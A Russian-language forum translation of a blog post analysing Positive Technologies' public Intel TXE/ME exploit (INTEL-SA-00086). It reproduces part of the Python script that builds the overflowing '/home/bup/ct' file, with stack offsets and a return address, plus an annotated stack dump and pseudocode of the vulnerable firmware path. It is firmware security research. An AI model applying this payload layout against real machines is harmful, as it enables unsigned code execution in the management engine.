Статья Эксплуатирование Движка Управления Intel - Часть 1: Понимание TXE PoC PT (INTEL-SA-00086)

g00db0y

g00db0y

Red Team
11.06.2018
94
393
Оригинал статьи находится здесь:
Часть II

Позвольте мне рассказать вам историю (думаю, я начну все свои посты в блоге с этого, учитывая, как долго они всегда заканчиваются).

Некоторое время я работал над воспроизведением уязвимости Intel, о которой компания PT Research рассказала на выставке BlackHat Europe 2017, мне удалось выполнить о чем рассказывалось, и поэтому мне захотелось поделиться своим путешествием и опытом со всеми, в надежде, что это поможет другим взять управление своих машин под контроль (а не наоборот).

Во-первых, для тех, кто не знает, компания (именуемая здесь 'PT Research', 'PT Security' или просто 'PT') выпустила на BlackHat 2017 информацию о (Intel Management Engine). А для тех, кто не знает, Intel ME представляет собой «безопасный» процессор, который работает на каждом чипе Intel (с 2006 года) и который, как предполагается, имеет полный доступ к нашим системам. Вы можете прочитать больше об этом и , но описание, которое я прочитал, и которое понравилось мне больше всего, это - (хоть оно, все таки, немного устарело).

Что такое Intel Management Engine или Движок Управления Intel?

Подводя итог, ME (Management Engine) - это второй процессор, встроенный в каждый PCH (чипсет материнской платы), который работает с максимально возможными привилегиями, имеет свою собственную прошивку с подписью Intel и заботится о многих вещах, о которых вы не знаете. Главным из них является AMT (Intel Active Management Technologies), которая позволяет системному администратору удаленно получать доступ, управлять, обновлять, форматировать и т.д. компьютер по сети, и это даже если компьютер выключен. Это называется управлением "вне диапазона", потому что мы не можем управлять при помощи программных обеспечений, запущенными на главном процессоре (например, teamviewer/skype remote desktop или что-то в этом роде), но управлять можно, даже если вся ваша операционная система повреждена, или на ней есть вирус, или машина фактически выключена.

Это довольно страшно. Intel сделала это, потому что когда вы системный администратор в компании, которая имеет тысячи компьютеров, или университет, или даже небольшой бизнес с дюжиной компьютеров к примеру, и вы хотите обновить их все до более новых версий из-за размышлений безопасности, то вы можете сделать все это сразу, не вставая из своего кресла, и вам не нужно будет проходить через все здание, и вставлять USB ключ, и включать те машины, которые были выключены, и т.д... Настоящий вопрос, однако, заключается в том, почему для потребителей не доступна возможность отключить ME? Как обычному пользователю, мне не нужна эта возможность для удаленного управления машиной, поэтому я хочу ее отключить, но не могу. Это привело к появлению множества FUD (страх, неопределенность и сомнения), окружающих ME как способ для Intel контролировать мир!

1577804172090.png

Главный Исполнительный Директор Intel

Я хотел выяснить, что являлось правдой, а что нет, когда я углублялся в реверс инжинеринг и тыкал в МЕ. У ME действительно есть законная и обоснованная функция, но сейчас он делает гораздо больше, так как он заботится об инициализации аппаратуры, загрузке основного процессора, контроле регистров часов, управлении DRM для Audio/Video, программном TPM и многом другом. Эти дополнительные задачи предположительно являются причиной, по которой он не может быть отключен для потребительских продуктов. К сожалению, это также означает, что вы должны доверять и верить, что Intel не делает ничего вредоносного (или не позволяет другим делать что-то вредоносное по их некомпетентности). Дело не в том, что я считаю Intel злой корпорацией, которая внедряет малвари в каждый компьютер, а в том, что я просто не доверяю им. Я начал изучать МЕ, пытаясь заставить его выполнить мой код, используя эксплойт, и взял на себя миссию заставить МЕ контролировать и шпионить за моими USB-устройствами. Это началось, когда я ещё работал с Purism, но даже после того, как я ушёл из этой компании, я продолжал работать над этим, снова и снова. Чуть больше года назад, я наконец-то достиг достаточного прогресса, который, как мне кажется, заслуживает того, чтобы написать что-нибудь об этом. Особенно с тех пор, как я "оживил" этот блог парой постов о реверс-инжинеринге в прошлом месяце.

Прежде всего, (IME) или Management Engine (ME) или CSME (Converged Security and Management Engine) или просто CSE (Converged Security Engine), а иногда его называют TXE (Trusted eXecution Engine) или SPS (Server Platform Services), раньше его вообще называли Intel Management BIOS Extension (IMEBx). Да, это конечно может сбить с толку... особенно если учесть, что "ME" может относиться как к самому ядру процессора Management Engine, так и к прошивке Management Engine, которые зачастую неотличимы друг от друга. Я не смотрел ни на IMEBx (он старый), ни на SPS (серверы мне безразличны), но думаю, что можно с уверенностью сказать, что 'CSE' и 'CSME' - это аппаратные ядра, а 'TXE' и 'ME' - это их прошивки, соответственно. Я не уверен, что это правда, поскольку я слышал, что 'CSME' также относится к микропрограммному обеспечению, а не только к аппаратному, но в основном все эти термины взаимозаменяемы, и я видел, как в документах Intel их использовали без задней мысли.

Могу уверенно сказать, что CSE и CSME - это одно и то же, одно и то же аппаратное обеспечение, так как, насколько я вижу, их прошивки практически одинаковы. CSE используется для "маломощных/дешевых" платформ, таких как Celeron/Apollolake, например (приставки, нетбуки, дешевые и маломощные ноутбуки и т.д.), в то время как CSME используется для "настольных/ноутбучных" высокопроизводительных процессоров, таких как Skylake, Kabylake, CoffeLake и т.д... Основное различие между ними заключается в том, что CSE не включает AMT (функцию удаленного администрирования), в то время как CSME включает ее. CSE запускает прошивку TXE, которая точно такая же, как и прошивка ME, но опять же без функций AMT. Очевидно, что я не могу попытаться запустить прошивку ME на Apollolake с CSE, потому что каждая версия будет работать только для одной платформы (аппаратная инициализация/регистрация специфична для каждой платформы). Поэтому, глядя на их код, я могу с уверенностью сказать, что они практически идентичны. Хоть один делает больше, чем другой, но это тот же самый код, та же самая базовая архитектура и функционирование. TXE/CSE, вероятно, просто дешевле для Intel, потому что у них меньше возможностей для тестирования/контроля качества перед выпуском.

В этом посте я буду говорить и о CSE, и о CSME, потому что PT Research выпустила их эксплойт, поэтому мы попробуем запустить свой собственный код на платформе Apollolake (запустив TXE на CSE). И что же я сделал, так это «поиграл» с этим, а также портировал его для работы на платформе Skylake (запустив ME на CSME).

Понимание CSE для дальнейшей эксплуатации CSME эксплойта.

Первое, что я хочу объяснить, так это как запустить свой собственный код на CSE (TXE v3.0). Это будет довольно долго, поэтому я думаю, что разобью эту статью на 3 поста: «Понимание эксплойта CSE», «Портирование эксплойта на CSME», «как «побаловаться» с контроллером USB через ME».

Вы уже можете обратиться к презентации Positive Technologies, которую провели Mark Ermolov и Maxim Goryachy на BlackHat Eruope 2017. Их слайды можно скачать , а презентацию - . Здесь объясняется все (в основном), что вам нужно сделать. Затем вы можете взглянуть на их Proof of Concept релиз эксплойта на для систем Apollolake.

Прежде чем вы пойдёте дальше, этот абзац не будет похож на мои предыдущие посты, которые пытаются объяснить вещи на базовом уровне (и этот уровень будет повышаться, чем дальше вы будете читать). Это будет быстро с технической точки зрения, и прежде чем вы продолжите, вы должны прочитать и понять эксплойт, как это объясняется в презентации PT, ссылки на которую приведены выше. Если вы не можете следовать ему, то вы просто заблудитесь. И так как я предполагаю, вы с ним ознакомились и все поняли.

Вот краткое изложение эксплойта, который PT рассказывали в своей презентации :
  • Прошивка ME состоит из нескольких "разделов", одним из которых является раздел 'MFS' (ME File System), который содержит различные конфигурационные файлы.
  • Хоть большинство разделов подписаны и не могут быть изменены, так как содержат код, раздел MFS не является таковым, и поэтому может быть изменён нами, смертными. В нём есть дополнительные ограничения, которые делают некоторые файлы не модифицируемыми пользователем.
  • Файл в разделе MFS под названием "/home/bup/ct" используется для инициализации конфигурации концентратора трассировки (Trace Hub Configuration) ME и может модифицироваться пользователем.
  • Процесс ME BUP (Hardware Bring-UP) считывает весь файл "/home/bup/ct" в буфер размером 808, не проверяя, подойдет ли этот файл: здесь мы можем наблюдать эксплойт переполнения буфера.
  • Есть security-cookie/stack-guard, который защищает МЕ от переполнения буфера, делая его просто бесполезным.
  • В самом низу стека (первые его 0x18 байт) находится структура TLS (Thread Local Storage), которая содержит указатель на контекст syslib.
  • Файл "/home/bup/ct" считывается фрагментами по 64 байта и копируется в общий блок памяти
  • Запись в блок общей памяти (с функцией sys_write_shared_mem) заставляет его читать адрес назначения из дескриптора блока общей памяти, находящегося в контекстной структуре syslib.
  • Перезапись стека до самого конца. Перезаписывание контекста syslib, указывая его на пользовательский блок общей памяти, который имеет адрес назначения, указывающий на адрес возврата memcpy, позволяет нам контролировать, куда мы хотим вернуть функцию, таким образом, что бы обходить защиту от копирования/стек-гарда безопасности, которая находится на месте.
  • Используя как эксплойт переполнения буфера, так и эксплойт TLS/syslib-context/shared-memory, мы можем контролировать код, который выполняется с помощью s : запуская наш собственный неподписанный код.
Используя еще одну от Positive Technologies, на этот раз на 34-м Chaos Communication Congress, можно пронаблюдать наборы микросхем Intel, которые поддерживают JTAG, которые, в свою очередь позволит полностью отладить всё что нам нужно. Для того, чтобы мы могли использовать JTAG само ядро ME, нам потребуется разблокировка уровня 'RED'. Взгляните на эту небольшую таблицу, взятую из еще одной презентации Positive Technologies (BlackHat Asia 2019).

1577804336894.png


Все, что нам нужно, чтобы включить RED разблокировку, это установить значение 3 в регистре DfX Aggregator. Это довольно легко можно провернуть, как только у нас появится наш собственный код, запущенный на ME. Тогда мы сможем создать ROP цепь, которая может быть использована для включения DCI и режим RED Разблокировки и даст нам доступ к ME JTAG, для управления другим ПК через USB.

Что-то, чего вы, возможно, сначала не поняли (а я не понял, пока не углубился), так это то, что эксплойт, объясненный в презентации BlackHat Europe 2017, сильно отличается от того, который был выпущен в качестве PoC. Переполнение буфера при чтении файла "/home/bup/ct" так же само, но это простая часть (трудно найти, но просто использовать: запишите файл размером более 808 байт). Не знаю почему, не спрашивайте, я тоже не смог найти ответ, но они решили выпустить PoC для Apollolake (TXE 3.x), а не для Skylake (ME 11.x), несмотря на то, что их презентация была о том, как использовать его на Skylake. Я решил, что если я хочу перенести их эксплойт на Skylake, то сначала мне нужно понять, как он работает на Apollolake, а потом просто найти подходящие смещения для моей версии ME на Skylake, верно?... Нет! На самом деле мне потребовалось много времени, чтобы понять, что они делают, и что это другой эксплойт. В презентации говорили о том, как они перезаписывают TLS с помощью syslib контекста, чтобы взять общий адрес назначения памяти, и чтобы в дальнейшем они могли контролировать memcpy для перезаписи адреса возврата их функции и обойти stack guard security cookie.

Проблема этого метода заключается в том, что он требует два действия, первый – перезапись контекста TLS/syslib, а второй – выполнение операции memcpy, которая позволит выполнить эксплойт. На skylake, это не проблема, файл "/home/bup/ct" читается фрагментами по 64 байта, поэтому вы перезаписываете syslib контекст одним фрагментом, а затем перезаписываете свой адрес возврата со следующим фрагментом. На Apollololake, к сожалению, не используется чтение фрагментов. Так как это упрощённая прошивка, MFS (ME File System) на прошивке отличается, и я полагаю, что файл считывается сразу. Что означает, что эксплойт в презентации не может быть использован. Так... что же они делают?

Эксплойт TXE

Если вы будете следовать инструкциям в репозитории , то увидите, что весь эксплойт TXE хранится в файле "/home/bup/ct" (Trace Hub Configuration), который генерируется скриптом . Это файл, который вы генерируете, и, конфигурируя ME с помощью инструментов Intel, устанавливая CT-файл в поле "Конфигурация трассировочного концентратора", позволяет выполнить эксплойт. Но что именно он делает? Что в этом файле? Скрипт, который его генерирует, к сожалению, имеет несколько таинственных чисел, на понимание их происхождения у меня ушло много времени. Давайте взглянем на них:
Python:
STACK_BASE = 0x00056000
BUFFER_OFFSET = 0x380
SYS_TRACER_CTX_OFFSET = 0x200
SYS_TRACER_CTX_REQ_OFFSET = 0x55c58
RET_ADDR_OFFSET = 0x338


def GenerateTHConfig():
    print("[*] Generating fake tracehub configuration...")
    trace_hub_config   = struct.pack("<B", 0x0)*6
    trace_hub_config  += struct.pack("<H", 0x2)
    trace_hub_config  += struct.pack("<L", 0x020000e0)
    trace_hub_config  += struct.pack("<L", 0x5f000000)
    trace_hub_config  += struct.pack("<L", 0x02000010)
    trace_hub_config  += struct.pack("<L", 0x00000888)

def GenerateRops():
    print("[*] Generating rops...")
    # Let's ignore this for now

def GenerateShellCode():
    syslib_ctx_start = SYS_TRACER_CTX_REQ_OFFSET - SYS_TRACER_CTX_OFFSET
    data  = GenerateTHConfig()
    init_trace_len = len(data)
    data += GenerateRops()
    data += struct.pack("<B", 0x0)*(RET_ADDR_OFFSET - len(data))
    data += struct.pack("<L", 0x00016e1a)
    data += struct.pack("<L", STACK_BASE - BUFFER_OFFSET + init_trace_len)

    data_tail = struct.pack("<LLLLL", 0, syslib_ctx_start,  0, 0x03000300, STACK_BASE-4)
    data += struct.pack("<B", 0x0)*(BUFFER_OFFSET - len(data) - len(data_tail))
    data += data_tail
    return data
Я проигнорировал ROPs, пока это не важно, но если мы посмотрим на таинственные числа, то первое что бросается в глаза, так это базовый адрес STACK - 0x56000, супер, круто, но было еще лучше узнать где они его нашли. Почему смещение буфера 0x380? Что это за адрес 0x55c58, который является SYS_TRACER_CTX_REQ_OFFSET? Почему RET_ADDR_OFFSET установлен в 0x338? А затем все эти магические значения в функции GenerateTHConfig. Сначала я подумал, что это просто валидный файл Trace Hub и если он не начнется с этих значений, то будет отклонен, но оказалось, что эти значения важны для эксплойта. Потом это магическое значение 0x00016e1a, которое записывается на 27-й строке кода... что это такое?

Эта статья ответит на все эти вопросы, так как я работал над реверсингом самого эксплойта. Я избавлю вас от это и прочих исследований. Ведь, чтобы понять все это, вам нужно будет самим найти ответы на вопросы: как ядро создает свои процессы, как/где оно устанавливает стек, как создается структура TLS и кем (я потратил слишком много времени, глядя на ядро, вместо того, чтобы просто сконцентрироваться на самом процессе BUP). Обо всем этом я расскажу немного подробнее в следующем посте.

После выполнения эксплойта и остановки потока ME в консоли Python, я использовал JTAG команды и сбрасывал стек, чтобы посмотреть, какие функции были запущены. Я мог следить за каждым вызовом и выяснять, что случилось, и кто кого вызывал до тех пор, пока эксплойт не срабатывал. Это, вероятно, трудновато читать, но я не буду пытаться объяснить это. Вот дамп стека с моими заметками на стороне, показывая, какие переменные, регистры и ret адреса появляются на каждой строке :
Код:
01bf:0000000000055950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055960: 00 00 00 00 cc 59 05 00 c8 59 05 00 18 00 00 00 -- garbage - push edi (in _memset_0)
01bf:0000000000055970: dc 18 00 00 40 30 09 00 ff ff ff ff 18 00 00 00 -- retaddr to _memset_0 - ebx (addr) - push 0xffffff (value) - push edi (length)
01bf:0000000000055980: 11 00 00 00 d1 01 00 00 22 00 00 00 b1 02 00 00 -- previously pushed ecx - ebx - esi - edi
01bf:0000000000055990: 04 5a 05 00 89 6d 00 00 04 30 09 00 d1 01 00 00 -- ebp 0x055a04 - retaddr to sub_1119 - var_54 - ebx
01bf:00000000000559a0: b0 02 00 00 3c 5a 05 00 d0 4d 02 00 70 5a 05 00 -- eax - LOCALS[0x54]
01bf:00000000000559b0: 04 30 09 00 44 90 09 00 d0 01 00 00 d2 02 00 00
01bf:00000000000559c0: 21 00 00 00 6f 03 00 00 ff 03 00 00 00 00 00 00
01bf:00000000000559d0: ff ff ff ff 00 00 00 00 84 30 09 00 84 30 09 00
01bf:00000000000559e0: 04 30 09 00 e1 00 00 00 02 01 00 00 91 00 00 00
01bf:00000000000559f0: d0 01 00 00 20 8e ff 6e 44 90 09 00 80 03 00 00 -- LOCALS[0x54] - ebx - esi
01bf:0000000000055a00: 00 30 09 00 50 5a 05 00 ee 6e 00 00 44 90 09 00 -- edi - ebp 0x055a50 - retaddr to sub_6CA2 - ebx
01bf:0000000000055a10: 04 30 09 00 00 04 00 00 00 4c 02 00 e0 00 00 00 -- ecx - eax - eax - eax
01bf:0000000000055a20: 01 00 00 00 70 5a 05 00 3c 5a 05 00 db f1 e8 6b -- eax - eax - eax - LOCALS[0x18]
01bf:0000000000055a30: 74 5a 05 00 40 5a 05 00 1d 84 01 00 03 00 00 00
01bf:0000000000055a40: 64 5a 05 00 ea 34 01 00 04 00 00 00 58 5a 05 00 -- LOCALS[0x18] - ebx - esi - ebp ** INVALID STACK ABOVE THIS POINT
01bf:0000000000055a50: bd 25 01 00 20 8e ff 6e 72 5a 05 00 00 00 00 00 -- retaddr to sys_get_ctx_struct_addr ** INVALID STACK ABOVE THIS POINT
01bf:0000000000055a60: d8 5a 05 00 a4 5a 05 00 4a 2a 01 00 72 5a 05 00 -- INVALID - ebp - retaddr to sub_134C6 - ebx
01bf:0000000000055a70: 20 00 43 02 00 02 08 00 0e 00 56 00 02 00 86 80 -- LOCALS[0x2C]
01bf:0000000000055a80: 80 03 00 00 04 00 00 00 94 5a 05 00 1d 84 01 00
01bf:0000000000055a90: 03 00 00 00 a0 5a 05 00 20 8e ff 6e 8c 5a 05 00 -- LOCALS[0x2C] - ebx
01bf:0000000000055aa0: 44 37 09 00 b8 5a 05 00 e5 2b 01 00 0e 00 56 00 -- esi - ebp - retaddr to sub_129C9 - arg0 ** INVALID STACK HERE AND ABOVE
01bf:0000000000055ab0: 04 00 00 00 c8 5a 05 00 10 6c 00 00 00 00 00 00 -- 4 - ebp 0x55aC8 sub_6A68 - retaddr to sub_6A50 - eax
01bf:0000000000055ac0: 0e 00 56 00 0e 00 00 00 f8 5a 05 00 62 84 00 00 -- X - X - ebp 0x55AF8 sub_8309 - retaddr to sub_6a68
01bf:0000000000055ad0: 80 03 00 00 00 8e ff 6e 8c 5a 05 00 80 03 00 00 -- LOCALS[0x1C]
01bf:0000000000055ae0: 44 37 09 00 28 5b 05 00 20 8e ff 6e 00 00 00 00 -- LOCALS[0x1C] - ebx
01bf:0000000000055af0: 80 03 00 00 44 37 09 00 28 5b 05 00 2a 81 02 00 -- esi - edi - ebp 0x55B28 sub_2808E - retaddr to sub_6082
01bf:0000000000055b00: 44 37 09 00 00 03 00 00 00 00 00 00 29 9a 07 00 -- edi - LOCALS[0x18]
01bf:0000000000055b10: 80 03 00 00 44 37 09 00 20 8e ff 6e 80 03 00 00 -- LOCALS[0x18] - ebx
01bf:0000000000055b20: 29 8a 07 00 64 5c 05 00 90 5b 05 00 28 99 02 00 -- esi - edi - ebp 0x55B90 bup_read_mfs_file - retaddr to sub_2A678
01bf:0000000000055b30: 29 9a 07 00 80 03 00 00 02 00 00 00 00 03 00 00 -- a1 - src_size  (0x380) - sm_block_id (2) - proc_thread_id (0x300)
01bf:0000000000055b40: 00 03 00 00 00 00 00 00 01 00 00 00 ff ff ff ff -- proc_thread_id - a6, a7, a8
01bf:0000000000055b50: 00 00 00 00 01 00 00 00 00 00 00 00 68 5b 05 00 -- a9 - 10 - LOCALS[0x2C] - ebp 0x55b68 _get_tls_slot
01bf:0000000000055b60: 1d 84 01 00 03 00 00 00 8c 5b 05 00 ea 34 01 00 -- retaddr to get_tls_slot - arg0 (3), ebp 0x55b8c sub_134C6 - retaddr to sub_13495
01bf:0000000000055b70: 04 00 00 00 80 5b 05 00 bd 25 01 00 20 8e ff 6e -- X - ebp 0x55b80 sub_1253 - retaddr to sys_get_ctx_struct_addr - COOKIE ** INVALID
01bf:0000000000055b80: 9a 5b 05 00 00 00 00 00 04 00 00 00 cc 5b 05 00 -- LOCALS[0x2C] - ebx  - esi - ebp 0x55bcc sub_129C9
01bf:0000000000055b90: 4a 2a 01 00 9a 5b 05 00 ac 5b 43 02 00 02 08 00 -- retaddr to sub_134C6
01bf:0000000000055ba0: 01 00 56 00 02 00 86 80 64 5c 05 00 48 5c 05 00
01bf:0000000000055bb0: 81 13 03 00 02 00 00 00 5f 73 6b 75 00 65 00 00
01bf:0000000000055bc0: 20 8e ff 6e 58 5a 05 00 00 00 00 00 e0 5b 05 00 -- LOCALS --  - ebp 0x55BCC sub_12BD6 ** INVALID
01bf:0000000000055bd0: e5 2b 01 00 01 00 56 00 f4 5b 05 00 ae 6f 00 00 -- retaddr to sub_129C9 * INVALID - X - ebp 0x55bf4 sub_6F3D - retaddr 0x6fae to sub_6A50
01bf:0000000000055be0: 00 00 00 00 02 00 00 00 01 00 56 00 02 00 00 00 -- add esp, 0C - ebx
01bf:0000000000055bf0: 80 5c 05 00 24 5c 05 00 bc 7a 00 00 00 00 00 00 -- esi - ebp 0x55c24 sub_7A91 - retaddr 0x7abc to sub_6f3D
01bf:0000000000055c00: 00 00 00 00 00 00 00 00 00 00 e0 01 e4 9b 04 00
01bf:0000000000055c10: 00 00 00 00 20 8e ff 6e 02 00 00 00 80 5c 05 00
01bf:0000000000055c20: 04 00 05 00 40 5c 05 00 9c 7c 00 00 00 00 00 00 -- LOCAL - ebp 0x55c40 sub_7C88 - retaddr 0x7c9c to sub_7A91
01bf:0000000000055c30: 04 00 00 00 0a 00 05 00 00 00 00 00 e4 9b 04 00
01bf:0000000000055c40: 50 5c 05 00 5e 69 00 00 0a 00 05 00 e4 9b 04 00 -- ebp 0x55c50 sub_6950 - retaddr 0x695e to sub_7C88
01bf:0000000000055c50: b4 5f 05 00 e4 9b 04 00 0a 00 05 00 07 00 00 00 -- ebp 0x55fb4 - retaddr 0x49be4 to sub_6078
01bf:0000000000055c60: bf 00 00 00 80 03 00 00 07 00 00 00 4b 52 4f 44
01bf:0000000000055c70: 14 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055c80: 00 00 00 00 00 00 02 00 e0 00 00 02 00 00 00 5f
01bf:0000000000055c90: 10 00 00 02 88 08 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055d60: 00 00 00 00 15 a8 04 00 c7 00 00 00 18 10 00 00
01bf:0000000000055d70: 39 a8 04 00 c7 00 00 00 08 10 00 00 01 00 00 00
01bf:0000000000055d80: c7 00 00 00 1c 10 00 00 15 a8 04 00 c7 00 00 00
01bf:0000000000055d90: 18 10 00 00 39 a8 04 00 c7 00 00 00 08 10 00 00
01bf:0000000000055da0: 01 00 00 00 c7 00 00 00 1c 10 00 00 00 01 00 00
01bf:0000000000055db0: 00 00 00 00 9f 01 00 00 00 00 00 00 10 10 00 00
01bf:0000000000055dc0: 77 a8 04 00 c7 00 00 00 08 10 00 00 be 11 00 00
01bf:0000000000055dd0: 76 a8 04 00 9f 01 00 00 00 84 00 00 03 00 00 00
01bf:0000000000055de0: 2d a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055fb0: 00 00 00 00 00 00 00 00 1a 6e 01 00 98 5d 05 00 -- pop ESP 0x55c98
01bf:0000000000055fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01bf:0000000000055ff0: 58 5a 05 00 0c 00 00 00 00 03 00 03 fc 5f 05 00
Прежде чем продолжить, стоит держать у себя в уме следующие вещи:
  • Стек находится со смещением 0x56000.
  • Файл /home/bup/ct считывается в смещение 0x55C80.
Можно заметить вызов bup_read_mfs_file по адресу 0x55b28, но стек поврежден до 0x55BC0, то есть все те функции, которые находятся выше этой строки, были вызваны и уже завершились с определенным ответом, когда произошел эксплойт. Согласно коду, TXE не читает файл во фрагментах и не копирует его в разделяемую память, поэтому к моменту возврата bup_dfs_read_file, memcpy не вызывается на разделяемой памяти и эксплойт не запускается. Причина этого в том, что файл не считывается в стек и, в последующем, не копируется в общую память, вместо этого создается блок общей памяти, указывающий на стек, а затем считывание данных доставляет его в стек с помощью функции sys_write_shared_mem. Таким образом, выполняется не только переполнения буфера, но и копирование.

Если вам интересно, что я имею в виду, используя bup_dfs_read_file и bup_read_mfs_file, то вот небольшой псевдокод того, как BUP-модуль TXE инициализируется от точки входа до момента запуска эксплойта (показан только соответствующий код, который чересчур упрощен). В нем показаны вызовы функций, которые будут появляться в стеке, в правильном порядке. Если вы хотите проследить за работой IDA, то она использует TXE версии 3.0.1.1107:
C++:
// sub_2604C
// The entry point. First code executed after the kernel launches the BUP process
void bup_entry() {
   // Initialize stack, tls, syslib, etc...
   // bup_init();
   // then call the main function
   bup_main();
}

// sub_35001
// The main function I assume which does most of everything
void bup_main() {
   // All sorts of initialization of stuff
   // function1(); function2();
   bup_run_init_scripts();
   // Some more stuff
   // function3(); function4();
}

// sub_355E0
// This runs 'scripts', it basically loops through an array of arrays
// containing functions and calls each of those functions.
// Each function will initialize one part of the hardware.
void bup_run_init_scripts() {
{
  // Simplification of what it does
  for (int i = 0; i < scripts.length; i++)
     scripts.function[i]();
}

// 0x4FDCC
// Simplification of the scripts array, it actually is an array of structures,
// each with an id and two script arrays within each structure.
void *scripts = {
  bup_init_this,
  bup_init_that,
  bup_init_storage,
  bup_init_dci,
  bup_init_trace_hub,
  bup_init_other,
  // etc.. 94 total functions get called.
}

// sub_49842
// This initializes the trace hub functionality by reading the /home/bup/ct file. This is where the exploit happens.
void bup_init_trace_hub() {
   char ct_data[808];
   int file_size;
   int bytes_read;

   // again, simplification
   bup_dfs_get_file_size("/home/bup/ct", &file_size);
   bup_dfs_read_file("/home/bup/ct", 0, ct_data, file_size, &bytes_read);

   // Handle the content of the CT file
   // for () {}
   // bup_init_trace_hub_set_systracer();
   // Stack Guard
}

// sub_3123B
// This reads a file from storage
int bup_dfs_read_file(char *file_name, int offset, char *buffer, unsigned int read_size, unsigned int *out_bytes_read)
{
  // Complex function (250 lines) that ends up doing this, more or less :
  int shmem_blockid = create_shared_memory_block(sys_get_thread_id(), buffer, read_size);
  CFGRecord *file = get_cfg_file_record(file_name);
  bup_read_mfs_file(mfs_partition, file->offset + offset, shmem_blockid, read_size, out_bytes_read)
  release_shared_memory_block(shmem_blockid)
  // Stack Guard
}

// sub_297BA
// Read the MFS file content and copies it to shared memory
// the function is more complex than shown, its arguments as well, I've removed anything not important.
int bup_read_mfs_file(void *mfs_partition, int offset, int shmem_blockid, unsigned int read_size, unsigned int *out_bytes_read)
{
   *out_bytes_read = read_size;
   sys_write_shared_memory(shmem_blockid, mfs_partition + offset, read_size, read_size)
   // Stack Guard
}

// sub_AE87
// This is in the syslib module, not the BUP module.
int sys_write_shared_memory(int blockid, void *src, int src_size, int write_size)
{
   SHMem *block = get_shared_memory_block(blockid);
   memcpy(block->addr, src, write_size)
   // Stack Guard
}
